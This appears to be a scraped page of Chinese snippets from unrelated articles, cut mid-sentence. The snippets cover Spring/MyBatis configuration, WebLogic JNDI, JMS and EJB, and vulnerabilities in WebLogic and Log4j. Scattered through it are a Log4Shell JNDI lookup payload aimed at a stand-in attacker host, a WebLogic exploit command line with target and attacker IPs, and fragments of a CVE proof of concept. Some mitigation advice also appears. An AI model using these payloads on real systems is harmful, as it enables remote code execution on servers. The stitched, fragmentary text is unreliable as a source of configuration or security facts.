问题描述 在web项目中同时集成了spring mvc和mybatis。 将jdbc配置参数独立在外部配置文件中,然后通过引入。...sqlSessionFactory,并设置为指定的sqlSessionFactory对象,那么在启动spring时会报错: Caused by: java.lang.NumberFormatException...: For input string: "${master.acquireIncrement}" 数据源配置中无法正确引用外部文件中配置的jdbc参数。...必须修改为配置属性sqlSessionFactoryBeanName,才能正确引用到对应的jdbc配置参数。...而且,在最新版本的MyBatis中,同样不再推荐使用设置Bean属性的方式,而是通过设置Value属性。
当RMI对象部署到WebLogic群集时,它还集成了对负载平衡和故障转移的支持。...相反,当客户端和服务器对象并置时,并且在类加载器层次结构允许时,WebLogic使用Java的按引用传递语义。...将对象部署到RMI注册表或JNDI时,WebLogic将自动生成必要的存根和框架。唯一需要显式创建存根的时间是可集群客户端或IIOP客户端需要访问服务器端RMI对象时。...比如在RMI服务器端上可以不直接使用Registry进行bind,而使用JNDI统一管理,当然JNDI底层应该还是调用的Registry的bind,但好处JNDI提供的是统一的配置接口;在客户端也可以直接通过类似...还有其他包装了JNDI的应用,例如Apache's Shiro JndiTemplate、Spring's JndiTemplate也会调用InitialContext.lookup(),看下Apache
背景 项目用的weblogic,每次改了java或者xml文件等,都需要重新部署项目并启动容器才可以生效,且不支持热部署,导致开发效率低。...发现问题 配置了junit后,发现会报一些找不到上下文,找不到数据源等错误。 问题解决 原来是项目中的jndi配置的内容用的是weblogic容器的jndi。...而weblogic是和数据源进行配置绑定好了,这就导致单元测试在脱离应用服务器的环境下无法启用 因此单元测试的DB连接配置修改成,用于跟weblogic解耦合 <bean id="ppcbDs
已解决:org.springframework.jdbc.datasource.lookup.DataSourceLookupFailureException 在使用Spring框架进行开发时...一、分析问题背景 问题背景描述 在开发一个Spring Boot应用时,配置数据源是一个常见的步骤。通常,我们会在应用的配置文件中定义数据源。...出现问题的场景 该错误通常发生在以下场景: 应用程序启动时。 尝试从数据源获取连接时。 数据源配置错误或未正确绑定时。...Spring配置问题:Spring配置文件中未正确配置JNDI数据源查找方式。...需要注意以下事项以避免类似错误: 仔细检查JNDI名称:确保配置的JNDI名称与应用服务器中绑定的名称完全一致。
JNDI的专业解释,大家自行去网络搜索吧,这里就不啰嗦了。 单纯从使用角度看,可以简称把它看成一个key-value的“哈希资源”容器。...给定一个string类型的key,可以把任何类型的value,放入这个容器(通过bind/rebind方法);其它地方需要使用该资源时,根据key就能取出该资源(通过lookup方法) JNDI使用示例...: package jmyang.weblogic; /** * Title:JNDI示例(WebLogic环境) * Description: * Copyright...JDBC数据源,实际上,也是使用JNDI服务来访问的,下面是JDBC示例代码:(必须先在weblogic中创建数据源) package jmyang.weblogic; /** * Title...服务器地址 static final String webLogicINDIStr = "weblogic.jndi.WLInitialContextFactory";
0x04 环境搭建 与CVE-2020-14645复现时的搭建方式相同 0x05 漏洞复现 选用jdk-8u181,weblogic12.1.4.0 搭建漏洞环境,因为是通过 JNDI 注入进行的远程命令执行...,所以会受到 JDK 版本的影响 JNDI 注入的 JDK 版本如图所示 ?...在同一文件中,通过set DEBUG_PORT=8453 指定了远程调试的端口,拷贝Oracle_Home目录下所有文件至调试目录,配置 Remote 方式进行远程调试,端口为 8453 ?...我们在 JNDIBindingAction 类的函数 execute 中,看到了 JNDI 注入的关键函数 lookup,通过 lookup 去引用命名服务(RMI)和目录服务(LDAP) console.jar...我们可以看到 lookup 中的值来源于 bindingHandle.getContext() + bindingHandle.getBinding() ,同时要执行到 lookup 需要满足 serverMBean
用于发布订阅通信的消息主题 WebLogic JMS 服务的配置步骤 以下以一个在线订单系统的示例,详细说明 JMS 服务的配置步骤。...检查 WebLogic 服务器状态和网络配置 WebLogic JMS 服务配置与使用注意事项 WebLogic JMS 服务是一种高效、灵活的消息传递工具,适用于分布式系统的异步通信...JNDI 名称的统一 JNDI 名称是客户端访问 JMS 资源的唯一标识。如果生产者、消费者以及 WebLogic 中的 JNDI 配置不一致,消息将无法正确路由。...注意事项: 确保 Connection Factory 和 Queue/Topic 的 JNDI 名称在 WebLogic 控制台和客户端代码中完全一致。...undefined常用功能: 设置阈值告警:当队列长度超过设定值时触发警报。 捕获错误日志:记录 JMS 服务运行中发生的异常。
此漏洞在2023年10月向Oracle报告,本质上是CVE-2023-21839补丁的一种绕过,牵涉到一个新的JNDI攻击面。.../weblogic12:latest 访问7001,加/console就是weblogic的控制页面 0x05 漏洞复现 该漏洞的POC package com.supeream; import weblogic.deployment.jms.ForeignOpaqueReference...= "weblogic.jndi.WLInitialContextFactory"; // 创建用来远程绑定对象的InitialContext String url = "...3.禁用不必要的协议: 如果不需要使用 T3 或 IIOP 协议,可以在 WebLogic Server 配置中禁用这些协议。...禁用T3协议: 1)进入WebLogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
,在16年Blackhat JNDI注入议题中也提到了这个协议的利用,当时想着没太看到或听说有多少关于IIOP的漏洞(可能事实真的如此吧,在下面Weblogic RMI-IIOP部分或许能感受到),所以那篇文章写作过程中也没去看之前那个...方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。 在ORB之间,通信通过共享协议IIOP进行。...当传递该字符串时,ORB返回一个命名上下文对象,该对象是名称服务的对象引用 org.omg.CORBA.Object objRef = orb.resolve_initial_references...Weblogic中的RMI-IIOP Weblogic默认是开启了iiop协议的,如果是上面这样的话,看通信数据以及上面的调用过程极大可能是不会经过Weblogic的黑名单了。...一个很尴尬的事情就是,Weblogic默认绑定了远程名称的实现类没有为IIOP实现服务端类与客户端类,但是没有绑定的一些类却实现了,所以默认无法利用了。
JNDI在Java EE中的使用 让我们以Java EE应用服务器(如Tomcat、WebLogic、JBoss等)中的数据源作为例子,深入了解JNDI的使用。...数据源是数据库连接池的抽象,包含了获取数据库连接所需的所有信息。 当你在Java EE服务器中配置一个数据源时,会给它一个名字(例如,"jdbc/mydb"),然后这个数据源就会被注册到JNDI服务。...然后,你就可以在你的Java EE应用程序中这样使用: Context context = new InitialContext(); DataSource ds = (DataSource) context.lookup...通过使用Context.lookup()方法,我们可以从JNDI中查找到对应的数据源对象。...JNDI的优点 JNDI有一些明显的优点: 解耦和灵活性:使用JNDI,应用程序不需要直接创建或管理服务对象。这样,服务对象的创建和配置就可以被集中管理,提高了灵活性。
熟悉 Java 安全的朋友可能会注意到,这里可能有一个 JNDI 注入。...当 Web Container 将请求的交由 Jsr160RequestDispatcher 处理时,Jolokia Agent 创建连接,导致 JNDI 注入。...那么,攻击者只需发送一个带有 Evil JMXRMI 的地址的 JSON,即可利用 JNDI 在目标机器上执行命令。 ? 2....0x04 Others Weblogic 暴露出很多 MBean,但是有一些方法存在限制: ? 可能会有其他的 MBean 可以进行操作,但是由于 MBean 繁多,没有太多精力去看。...可能会有如下情况:某个 MBean 进行了 JNDI lookup,或者远程下载文件保存在本地,反序列化某一些内容等等,通过 Jolokia 进行操作可以二次利用这些问题来 RCE。
:ldap://attacker.com/x}"); } } 我们执果索因,先来直击漏洞触发时的调用栈: JndiLookup.lookup(LogEvent,String) (JndiLookup.class...,我们常常会在配置文件中用它定义日志格式。...JNDI resource lookup in the configuration....虽然最开始的场景是在配置文件里使用 JNDI,但是强大如 log4j 没理由不能在每一条消息里面使用它。 JNDI 可谓是 Log4Shell 的灵魂,但是反过来却不是。...这一套 exploit 工具集支持多种攻击,比如各种基于 tomcat,spring 和 weblogic 的 webshell 和反向 shell。
当后面有客户端请求服务时,我们搭建的这个JRMP就会返回这段payload1。...比如可以利用JNDI再局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。...()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过...攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的**.class...T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以 通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
我们看一下2016年的Spring框架的反序列化漏洞,该漏洞是利用了RMI以及JNDI: RMI(Remote Method Invocation) 即Java远程方法调用,一种用于实现远程过程调用的应用程序编程接口...JNDI支持的服务主要有以下几种:DNS、LDAP、 CORBA对象服务、RMI等。 简单的来说就是RMI注册的服务可以让JNDI应用程序来访问,调用。...ois.defaultReadObject(); // Create template for client-side JNDI lookup....可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context.而就是使用JtaTransactionManager...Java反序列化本身没有错,而是面对不安全的数据时,缺乏相应的防范,导致了一些安全问题。
第16章 Spring Boot + Kotlin: 下一代 Java 服务端开发 16.1 Kotlin 简介 16.2 Kotlin 与 Java 的无缝集成 16.3 Spring Boot 集成...:spring-boot-starter-data-jpa') compile('org.springframework.boot:spring-boot-starter-freemarker'...jdbc:weblogic:mssqlserver4:1E1:1433 ## Microsoft Driver (not recommended!)...#hibernate.jndi.url file:/ #WebSphere #hibernate.jndi.class com.ibm.websphere.naming.WsnInitialContextFactory...当使用 utf8 字符集时,需要保留的长度就是 utf8 最长字符长度乘以字符串长度,所以这里理所当然的限制了 utf8 最大长度为 3,比如 CHAR(100) Mysql 会保留 300字节长度。
EJB中还提供了一些安全管理、事务控制功能,使得我们调用EJB时,不需要太多地束缚于这些问题的编码。 EJB 定义了四种类型的组件: 1....在较早版本的EJB中,需要进行比较复杂的配置,编写xml配置文件,在EJB3中,你可以选择编写配置文件,也可以将配置在代码中标明。...EJB的JNDI名称为"ConvertBean",客户端寻找该EJB时,所使用的名字为"ConvertBean#itf.Convert",实际上是相当于寻找里面的接口。...默认情况下,Tomcat不支持EJB,支持EJB的服务器有WebLogic、WebSphere、JBoss等,此处我们使用WebLogic10,以及其内部配置的用户服务器域:base domain,并已经在...由于JNDI名称对于各个厂商具有不同的写法,因此,最好的方法是将JNDI名称写在配置文件中。
本地复现漏洞 首先需要使用低版本的 log4j 包,我们在本地新建一个 Spring Boot 项目,使用 2.5.7 版本的 Spring Boot,可以看到一老的 log4j 是 2.14.1,可以复现漏洞...(event, variableName); } image 和官方文档上是能够对应上的,即 log 里只解析前缀为 date、jndi 等的命令,本文的测试用例使用的是 ${jndi:rmi://127.0.0.1...JNDI 底层支持 RMI 远程对象,RMI 注册的服务可以通过 JNDI 接口来访问和调用。...其应用场景比如:动态加载数据库配置文件,从而保持数据库代码不变动等。 image 危害是什么?...~ 原创不易,希望大家转载时请先联系我,并标注原文链接。
T3协议是用于Weblogic服务器和其他Java Application之间传输信息的协议,是实现上述RMI远程过程调用的专有协议,其允许客户端进行JNDI调用。...3.5 执行Exploit python exploit.py 192.168.137.128 7001 weblogic-spring-jndi.jar 192.168.137.135 2345 Weblogic...类加入到黑名单中,因此导致了Spring JNDI注入的发生。...通过我们对CVE-2018-3191 POC的分析,在此类中,其主要是使用了JtaTransactionManager这个类进行Spring JNDI注入,这点我们也可以在流量端有所发现: ?...通过Weblogic中base_domain的设置页面的"安全"->"筛选器"来进行配置和防御,具体方法不再赘述,请参考网络资料。
log.error("${jndi:rmi://127.0.0.1:1099/ruwsfb}"); } } spring-boot 需要把原来的log关掉,加入log4j(这是一个普遍用法) <...(重要绕过) 经过处理的变量,会在418行进入resolveVariable函数 而resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞...如果执行lookup有返回,则会进入427行的递归处理下一层 而lookup支持的协议也有很多种 包括{date, java, marker, ctx, lower, upper, jndi...2.15.0 rc1 的修复 其实这个漏洞几天前就被发布了更新补丁,之前也关注到了,只是没想到利用的逻辑如此简单。 在整个漏洞掀起全安全圈的风暴时,越来越多的朋友将目光集中到这里。....component.properties 配置文件中添加配置: log4j2.formatMsgNoLookups = true 要注意的是,这个配置只生效于2.10.0以上。
在使用ActiveMQ 时需要在 pom 文件中引入 spring-boot-starter-activemq。...ActiveMQ 在 Spring Boot 的自动配置类注册同样在 META-INF/spring.factories 中。...spring.jmsjndi-name 被配置时才会生效。...location ”+ Arrays. asList(JNDI ATION S)); } } 获得 ConnectionFactory 的过程比较简单,首先判断配置文件中是否配置了指定的 JNDI 名称...spring.jms cache .enabled=false 时才会进行,初始化操作就是创建一个 ActiveMQConnectionFactoryFactory 对象,并将配置属性和定制化操作传入